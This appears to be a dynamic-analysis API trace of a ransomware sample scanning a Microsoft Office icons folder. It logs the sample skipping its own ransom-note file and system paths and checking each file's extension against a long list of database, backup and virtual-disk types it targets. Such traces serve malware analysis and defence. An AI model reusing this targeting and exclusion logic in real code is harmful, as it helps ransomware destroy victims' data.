	[0070.642] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1
	[0070.642] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.642] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.642] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2=".") returned 1
	[0070.642] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="..") returned 1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="windows") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="bootmgr") returned 1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="temp") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="pagefile.sys") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="boot") returned 1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="ids.txt") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="ntuser.dat") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="perflogs") returned -1
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2="MSBuild") returned -1
	[0070.643] lstrlenW (lpString="CHEVRON.ICO") returned 11
	[0070.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned 69
	[0070.643] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CHEVRON.ICO" | out: lpString1="CHEVRON.ICO") returned="CHEVRON.ICO"
	[0070.643] lstrlenW (lpString="CHEVRON.ICO") returned 11
	[0070.643] lstrlenW (lpString="Apollon865") returned 10
	[0070.643] lstrcmpiW (lpString1="HEVRON.ICO", lpString2="Apollon865") returned 1
	[0070.643] lstrlenW (lpString=".dll") returned 4
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2=".dll") returned 1
	[0070.643] lstrlenW (lpString=".lnk") returned 4
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2=".lnk") returned 1
	[0070.643] lstrlenW (lpString=".ini") returned 4
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2=".ini") returned 1
	[0070.643] lstrlenW (lpString=".sys") returned 4
	[0070.643] lstrcmpiW (lpString1="CHEVRON.ICO", lpString2=".sys") returned 1
	[0070.643] lstrlenW (lpString="CHEVRON.ICO") returned 11
	[0070.643] lstrlenW (lpString="bak") returned 3
	[0070.643] lstrcmpiW (lpString1="ICO", lpString2="bak") returned 1
	[0070.643] lstrlenW (lpString="ba_") returned 3
	[0070.643] lstrcmpiW (lpString1="ICO", lpString2="ba_") returned 1
	[0070.643] lstrlenW (lpString="dbb") returned 3
	[0070.643] lstrcmpiW (lpString1="ICO", lpString2="dbb") returned 1
	[0070.643] lstrlenW (lpString="vmdk") returned 4
	[0070.643] lstrcmpiW (lpString1=".ICO", lpString2="vmdk") returned -1
	[0070.643] lstrlenW (lpString="rar") returned 3
	[0070.643] lstrcmpiW (lpString1="ICO", lpString2="rar") returned -1
	[0070.643] lstrlenW (lpString="zip") returned 3
	[0070.643] lstrcmpiW (lpString1="ICO", lpString2="zip") returned -1
	[0070.643] lstrlenW (lpString="tgz") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="tgz") returned -1
	[0070.644] lstrlenW (lpString="vbox") returned 4
	[0070.644] lstrcmpiW (lpString1=".ICO", lpString2="vbox") returned -1
	[0070.644] lstrlenW (lpString="vdi") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="vdi") returned -1
	[0070.644] lstrlenW (lpString="vhd") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="vhd") returned -1
	[0070.644] lstrlenW (lpString="vhdx") returned 4
	[0070.644] lstrcmpiW (lpString1=".ICO", lpString2="vhdx") returned -1
	[0070.644] lstrlenW (lpString="avhd") returned 4
	[0070.644] lstrcmpiW (lpString1=".ICO", lpString2="avhd") returned -1
	[0070.644] lstrlenW (lpString="db") returned 2
	[0070.644] lstrcmpiW (lpString1="CO", lpString2="db") returned -1
	[0070.644] lstrlenW (lpString="db2") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="db2") returned 1
	[0070.644] lstrlenW (lpString="db3") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="db3") returned 1
	[0070.644] lstrlenW (lpString="dbf") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="dbf") returned 1
	[0070.644] lstrlenW (lpString="mdf") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="mdf") returned -1
	[0070.644] lstrlenW (lpString="mdb") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="mdb") returned -1
	[0070.644] lstrlenW (lpString="sql") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="sql") returned -1
	[0070.644] lstrlenW (lpString="sqlite") returned 6
	[0070.644] lstrcmpiW (lpString1="ON.ICO", lpString2="sqlite") returned -1
	[0070.644] lstrlenW (lpString="sqlite3") returned 7
	[0070.644] lstrcmpiW (lpString1="RON.ICO", lpString2="sqlite3") returned -1
	[0070.644] lstrlenW (lpString="sqlitedb") returned 8
	[0070.644] lstrcmpiW (lpString1="VRON.ICO", lpString2="sqlitedb") returned 1
	[0070.644] lstrlenW (lpString="xml") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="xml") returned -1
	[0070.644] lstrlenW (lpString="$er") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="$er") returned 1
	[0070.644] lstrlenW (lpString="4dd") returned 3
	[0070.644] lstrcmpiW (lpString1="ICO", lpString2="4dd") returned 1
	[0070.644] lstrlenW (lpString="4dl") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="4dl") returned 1
	[0070.645] lstrlenW (lpString="^^^") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="^^^") returned 1
	[0070.645] lstrlenW (lpString="abs") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="abs") returned 1
	[0070.645] lstrlenW (lpString="abx") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="abx") returned 1
	[0070.645] lstrlenW (lpString="accdb") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accdb") returned 1
	[0070.645] lstrlenW (lpString="accdc") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accdc") returned 1
	[0070.645] lstrlenW (lpString="accde") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accde") returned 1
	[0070.645] lstrlenW (lpString="accdr") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accdr") returned 1
	[0070.645] lstrlenW (lpString="accdt") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accdt") returned 1
	[0070.645] lstrlenW (lpString="accdw") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accdw") returned 1
	[0070.645] lstrlenW (lpString="accft") returned 5
	[0070.645] lstrcmpiW (lpString1="N.ICO", lpString2="accft") returned 1
	[0070.645] lstrlenW (lpString="adb") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1
	[0070.645] lstrlenW (lpString="adb") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1
	[0070.645] lstrlenW (lpString="ade") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="ade") returned 1
	[0070.645] lstrlenW (lpString="adf") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="adf") returned 1
	[0070.645] lstrlenW (lpString="adn") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="adn") returned 1
	[0070.645] lstrlenW (lpString="adp") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="adp") returned 1
	[0070.645] lstrlenW (lpString="alf") returned 3
	[0070.645] lstrcmpiW (lpString1="ICO", lpString2="alf") returned 1
	[0070.645] lstrlenW (lpString="ask") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="ask") returned 1
	[0070.646] lstrlenW (lpString="btr") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="btr") returned 1
	[0070.646] lstrlenW (lpString="cat") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="cat") returned 1
	[0070.646] lstrlenW (lpString="cdb") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="cdb") returned 1
	[0070.646] lstrlenW (lpString="ckp") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="ckp") returned 1
	[0070.646] lstrlenW (lpString="cma") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="cma") returned 1
	[0070.646] lstrlenW (lpString="cpd") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="cpd") returned 1
	[0070.646] lstrlenW (lpString="dacpac") returned 6
	[0070.646] lstrcmpiW (lpString1="ON.ICO", lpString2="dacpac") returned 1
	[0070.646] lstrlenW (lpString="dad") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dad") returned 1
	[0070.646] lstrlenW (lpString="dadiagrams") returned 10
	[0070.646] lstrcmpiW (lpString1="HEVRON.ICO", lpString2="dadiagrams") returned 1
	[0070.646] lstrlenW (lpString="daschema") returned 8
	[0070.646] lstrcmpiW (lpString1="VRON.ICO", lpString2="daschema") returned 1
	[0070.646] lstrlenW (lpString="db-journal") returned 10
	[0070.646] lstrcmpiW (lpString1="HEVRON.ICO", lpString2="db-journal") returned 1
	[0070.646] lstrlenW (lpString="db-shm") returned 6
	[0070.646] lstrcmpiW (lpString1="ON.ICO", lpString2="db-shm") returned 1
	[0070.646] lstrlenW (lpString="db-wal") returned 6
	[0070.646] lstrcmpiW (lpString1="ON.ICO", lpString2="db-wal") returned 1
	[0070.646] lstrlenW (lpString="dbc") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dbc") returned 1
	[0070.646] lstrlenW (lpString="dbs") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dbs") returned 1
	[0070.646] lstrlenW (lpString="dbt") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dbt") returned 1
	[0070.646] lstrlenW (lpString="dbv") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dbv") returned 1
	[0070.646] lstrlenW (lpString="dbx") returned 3
	[0070.646] lstrcmpiW (lpString1="ICO", lpString2="dbx") returned 1
	[0070.646] lstrlenW (lpString="dcb") returned 3
	[0070.647] lstrcmpiW (lpString1="ICO", lpString2="dcb") returned 1
	[0070.647] lstrcmpiW (lpString1="ICO", lpString2="dct") returned 1
	[0070.647] lstrcmpiW (lpString1="ICO", lpString2="dcx") returned 1
	[0070.647] lstrcmpiW (lpString1="ICO", lpString2="ddl") returned 1
	[0070.647] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2=".") returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="..") returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="windows") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="bootmgr") returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="temp") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="pagefile.sys") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="boot") returned 1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="ids.txt") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="ntuser.dat") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="perflogs") returned -1
	[0070.647] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2="MSBuild") returned -1
	[0070.647] lstrlenW (lpString="COMPUTER.ICO") returned 12
	[0070.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned 71
	[0070.647] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="COMPUTER.ICO" | out: lpString1="COMPUTER.ICO") returned="COMPUTER.ICO"
	[0070.647] lstrlenW (lpString="COMPUTER.ICO") returned 12
	[0070.647] lstrlenW (lpString="Apollon865") returned 10
	[0070.648] lstrcmpiW (lpString1="MPUTER.ICO", lpString2="Apollon865") returned 1
	[0070.648] lstrlenW (lpString=".dll") returned 4
	[0070.648] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2=".dll") returned 1
	[0070.648] lstrlenW (lpString=".lnk") returned 4
	[0070.648] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2=".lnk") returned 1
	[0070.648] lstrlenW (lpString=".ini") returned 4
	[0070.648] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2=".ini") returned 1
	[0070.648] lstrlenW (lpString=".sys") returned 4
	[0070.648] lstrcmpiW (lpString1="COMPUTER.ICO", lpString2=".sys") returned 1
	[0070.648] lstrlenW (lpString="COMPUTER.ICO") returned 12
	[0070.648] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="CONTAC~1.ICO")) returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2=".") returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="..") returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="windows") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="bootmgr") returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="temp") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="pagefile.sys") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="boot") returned 1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="ids.txt") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="ntuser.dat") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="perflogs") returned -1
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2="MSBuild") returned -1
	[0070.648] lstrlenW (lpString="ContactSelector.ico") returned 19
	[0070.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned 72
	[0070.648] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ContactSelector.ico" | out: lpString1="ContactSelector.ico") returned="ContactSelector.ico"
	[0070.648] lstrlenW (lpString="ContactSelector.ico") returned 19
	[0070.648] lstrlenW (lpString="Apollon865") returned 10
	[0070.648] lstrcmpiW (lpString1="lector.ico", lpString2="Apollon865") returned 1
	[0070.648] lstrlenW (lpString=".dll") returned 4
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2=".dll") returned 1
	[0070.648] lstrlenW (lpString=".lnk") returned 4
	[0070.648] lstrcmpiW (lpString1="ContactSelector.ico", lpString2=".lnk") returned 1
	[0070.649] lstrlenW (lpString=".ini") returned 4
	[0070.649] lstrcmpiW (lpString1="ContactSelector.ico", lpString2=".ini") returned 1
	[0070.649] lstrlenW (lpString=".sys") returned 4
	[0070.649] lstrcmpiW (lpString1="ContactSelector.ico", lpString2=".sys") returned 1
	[0070.649] lstrlenW (lpString="ContactSelector.ico") returned 19
	[0070.649] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="GFSERR~1.ICO")) returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2=".") returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="..") returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="windows") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="bootmgr") returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="temp") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="pagefile.sys") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="boot") returned 1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="ids.txt") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="ntuser.dat") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="perflogs") returned -1
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2="MSBuild") returned -1
	[0070.649] lstrlenW (lpString="gfserrorfromgroove.ico") returned 22
	[0070.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned 79
	[0070.649] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="gfserrorfromgroove.ico" | out: lpString1="gfserrorfromgroove.ico") returned="gfserrorfromgroove.ico"
	[0070.649] lstrlenW (lpString="gfserrorfromgroove.ico") returned 22
	[0070.649] lstrlenW (lpString="Apollon865") returned 10
	[0070.649] lstrcmpiW (lpString1="groove.ico", lpString2="Apollon865") returned 1
	[0070.649] lstrlenW (lpString=".dll") returned 4
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2=".dll") returned 1
	[0070.649] lstrlenW (lpString=".lnk") returned 4
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2=".lnk") returned 1
	[0070.649] lstrlenW (lpString=".ini") returned 4
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2=".ini") returned 1
	[0070.649] lstrlenW (lpString=".sys") returned 4
	[0070.649] lstrcmpiW (lpString1="gfserrorfromgroove.ico", lpString2=".sys") returned 1
	[0070.649] lstrlenW (lpString="gfserrorfromgroove.ico") returned 22
	[0070.650] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gfserrortogroove.ico", cAlternateFileName="GFSERR~2.ICO")) returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="Apollon865.txt.exe") returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2=".") returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="..") returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="windows") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="bootmgr") returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="temp") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="pagefile.sys") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="boot") returned 1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="ids.txt") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="ntuser.dat") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="perflogs") returned -1
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2="MSBuild") returned -1
	[0070.650] lstrlenW (lpString="gfserrortogroove.ico") returned 20
	[0070.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico") returned 82
	[0070.650] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="gfserrortogroove.ico" | out: lpString1="gfserrortogroove.ico") returned="gfserrortogroove.ico"
	[0070.650] lstrlenW (lpString="gfserrortogroove.ico") returned 20
	[0070.650] lstrlenW (lpString="Apollon865") returned 10
	[0070.650] lstrcmpiW (lpString1="groove.ico", lpString2="Apollon865") returned 1
	[0070.650] lstrlenW (lpString=".dll") returned 4
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2=".dll") returned 1
	[0070.650] lstrlenW (lpString=".lnk") returned 4
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2=".lnk") returned 1
	[0070.650] lstrlenW (lpString=".ini") returned 4
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2=".ini") returned 1
	[0070.650] lstrlenW (lpString=".sys") returned 4
	[0070.650] lstrcmpiW (lpString1="gfserrortogroove.ico", lpString2=".sys") returned 1
	[0070.650] lstrlenW (lpString="gfserrortogroove.ico") returned 20
	[0070.650] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1
	[0070.650] lstrcmpiW (lpString1="GWE.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.650] lstrcmpiW (lpString1="GWE.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2=".") returned 1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="..") returned 1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="windows") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="bootmgr") returned 1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="temp") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="pagefile.sys") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="boot") returned 1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="ids.txt") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="ntuser.dat") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="perflogs") returned -1
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2="MSBuild") returned -1
	[0070.651] lstrlenW (lpString="GWE.ICO") returned 7
	[0070.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico") returned 80
	[0070.651] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="GWE.ICO" | out: lpString1="GWE.ICO") returned="GWE.ICO"
	[0070.651] lstrlenW (lpString="GWE.ICO") returned 7
	[0070.651] lstrlenW (lpString="Apollon865") returned 10
	[0070.651] lstrlenW (lpString=".dll") returned 4
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2=".dll") returned 1
	[0070.651] lstrlenW (lpString=".lnk") returned 4
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2=".lnk") returned 1
	[0070.651] lstrlenW (lpString=".ini") returned 4
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2=".ini") returned 1
	[0070.651] lstrlenW (lpString=".sys") returned 4
	[0070.651] lstrcmpiW (lpString1="GWE.ICO", lpString2=".sys") returned 1
	[0070.651] lstrlenW (lpString="GWE.ICO") returned 7
	[0070.651] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422be490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x422be490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.651] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.651] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="Apollon865.txt.exe") returned 1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2=".") returned 1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="..") returned 1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="windows") returned -1
	[0070.651] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="bootmgr") returned 1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="temp") returned -1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="pagefile.sys") returned -1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="boot") returned 1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="ids.txt") returned 1
	[0070.652] lstrcmpiW (lpString1="INCOMING.ICO", lpString2="ntuser.dat") returned -1
